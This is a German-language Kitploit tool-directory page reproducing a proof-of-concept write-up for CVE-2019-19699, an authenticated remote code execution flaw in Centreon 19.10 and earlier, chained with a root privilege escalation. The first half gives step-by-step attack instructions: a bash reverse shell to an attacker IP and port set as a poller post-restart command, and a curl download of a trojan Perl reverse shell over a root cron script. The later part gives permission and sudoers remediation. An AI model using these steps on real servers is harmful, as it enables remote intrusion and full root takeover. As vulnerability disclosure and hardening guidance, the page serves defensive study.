Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2019-19699 — Centreon =<19.10 Authentifiziertes RCE | Kitploit
Tools/GitHubGitHub/spengesec/cve-2019-19699
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubspengesec/cve-2019-19699

CVE-2019-19699

Centreon =<19.10 Authentifiziertes RCE

Repository anzeigen
31vor 6 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2019-19699

Centreon =< 19.10

Beweis des Konzepts

  1. Authentifizierte Remote-Code-Ausführung (CVE-2019-19699)
  2. Rechteausweitung (Walkthrough & Abhilfe)

Entdeckt von:

SpengeSec (Guylian Dw)

TheCyberGeek (Matthew B)

Authentifizierte Remote-Code-Ausführung:

Beginnen wir, indem wir uns als Benutzer Admin im Centreon-Webpanel anmelden.

Nach der Anmeldung navigieren wir zu Configuration > Commands > Miscellaneous

Klicken Sie auf Add, wie im Bild unten gezeigt.

Wir erstellen nun eine Bash-Reverse-Shell als unseren Miscellaneous-Befehl.

root@kitploit:~
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1

Und klicken Sie auf Save.

Nun navigieren wir zu Configuration > Pollers und klicken auf unseren aktuellen Central-Poller.

Dies gewährt Ihnen Zugriff auf das Menü Modify a poller Configuration.

Hier können wir nach unten scrollen und einen Post-restart command festlegen.

Wählen Sie die zuvor erstellte Reverse-Shell aus und klicken Sie auf Save.

Wir können nun den Netcat-Listener auf unserem lokalen Rechner starten.

Schließlich klicken wir im Menü Configuration > Pollers auf die Schaltfläche Export configuration.

  1. Wählen Sie unseren Central-Poller im Dropdown-Feld Pollers aus.

  2. Deaktivieren Sie die Kontrollkästchen Generate Configuration Files und Run monitoring engine debug (-v).

  3. Aktivieren Sie die Kontrollkästchen Restart Monitoring Engine und Post generation command.

  4. Wählen Sie Restart im Dropdown-Feld Method.

Nach dem Klick auf Export wird der Poller neu gestartet und somit der zuvor konfigurierte Post-Restart Command ausgeführt. Dies ist der Moment, in dem unser Reverse-Shell-Listener eine Verbindung erhält.

Authentifizierte Remote-Code-Ausführung erfolgreich!

(Dies war der Write-up für CVE-2019-19699)

Von hier aus bewegen wir uns zum Erlangen von Root-Rechten.

Wir verwenden CVE-2019-16406, entdeckt von TheCyberGeek, um den Centreon-Server =< 19.10 vollständig zu kompromittieren.

Beginnen wir damit, eine TTY-Shell in unserem aktuellen Reverse-Shell-Terminal zu spawnen.

python -c 'import pty; pty.spawn("/bin/sh")'

Wir werfen nun einen Blick darauf, welche Cron-Aufgaben existieren, indem wir cat /etc/cron.d/* ausführen.

Wir sehen nun, dass centreon_autodisc.pl eine Cron-Aufgabe ist.

(Wurde für Demonstrationszwecke von 30 22 * * * root auf * * * * * root gesetzt)

Diese wird als Root ausgeführt. Ersetzen wir centreon_autodisco.pl durch eine Perl-Reverse-Shell.

Die Perl-Shell, die ich verwenden werde, kann hier heruntergeladen werden.

Laden Sie die Reverse-Shell herunter und passen Sie die IP-Adresse und den Port auf Ihre an, wie auf der Webseite beschrieben.

Führen Sie ein mv aus, um die Datei perl-reverse-shell.pl lokal in centreon_autodisco.pl umzubenennen.

Starten wir nun einen lokalen SimpleHTTPServer auf einem Port Ihrer Wahl.

Auf diese Weise können wir curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl verwenden, um die vorhandene centreon_autodisco.pl durch unsere trojanische Perl-Reverse-Shell zu ersetzen.

Nun, da die Datei ersetzt wurde, müssen wir nur noch einen Netcat-Listener auf dem zuvor konfigurierten Port starten, und wir erhalten eine Verbindung vom Server als Benutzer Root!

Root-Systemzugriff erfolgreich!

Weiter zu den Notizen, wie wir denken, dass die Rechteausweitung gemildert werden sollte!

Aktuelle Einstellungen in 19.10:

root@kitploit:~
#####################################
# Centreon Auto Discovery
#

30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1

File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11  2017 /usr/lib/centreon/plugins/cwrapper_perl

Abhilfe für /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

ls -la who

-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

Wie Sie sehen, gehört es jetzt Root, die Gruppe apache kann es nur lesen und ausführen, centreon kann es nur ausführen, daher beeinträchtigt es die Funktionalität nicht.

Beispiel:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Aber apache kann es weiterhin ausführen.

Abhilfe für /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

Wie Sie sehen, gehört es jetzt Root, die Gruppe apache kann es nur lesen und ausführen, centreon kann es nur ausführen, daher beeinträchtigt es die Funktionalität nicht.

Beispiel:

bash-4.2$ whoami

apache

bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl

bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Aber apache kann es weiterhin ausführen.

Abhilfe für /usr/lib/centreon/plugins/cwrapper_perl

Verwenden Sie sudo-Befehle, um spezifische Skripte zu definieren, die von jedem Benutzer ausgeführt werden müssen.

Lassen Sie root jedes Perl-Skript besitzen, damit Benutzer das Skript nicht ändern oder ersetzen können, um eine Rechteausweitung zu erreichen.

chmod 755 /usr/lib/centreon/plugins/cwrapper_perl

ls -la /usr/lib/centreon/plugins/cwrapper_perl

-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl

Benutzer können das Skript nun nicht mehr ändern oder ersetzen!

Beispiel:

cat /etc/sudoers

...

## Allow root to run any commands anywhere

root ALL=(ALL) ALL

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl

centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl

apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl

...

---Ende von Sudoers---

ls -la example_script1.pl

-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl

ls -la examle_scripts1.pl

-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl

Benutzer können die benötigten Skripte weiterhin ausführen, und die Skripte können nicht von apache oder centreon geändert werden, wodurch die Sicherheitsbedrohung für die Rechteausweitung vollständig beseitigt wird.

Wenn ein Angreifer jetzt in die Maschine eindringen würde, wäre die vollständige Kontrolle über die Maschine sehr schwierig oder unmöglich, es sei denn, es werden weitere Bedrohungen entdeckt.

Für den Centreon-Benutzer war die einzige Rechteausweitung, die wir finden konnten, der cwrapper für perl. Wenn also der Post-Restart-Befehl vom centreon-Benutzer ausgeführt wurde und ein Angreifer eine Shell als centreon-Benutzer erlangte, bliebe praktisch keine Angriffsfläche mehr übrig.

Danke fürs Lesen

Tool herunterladen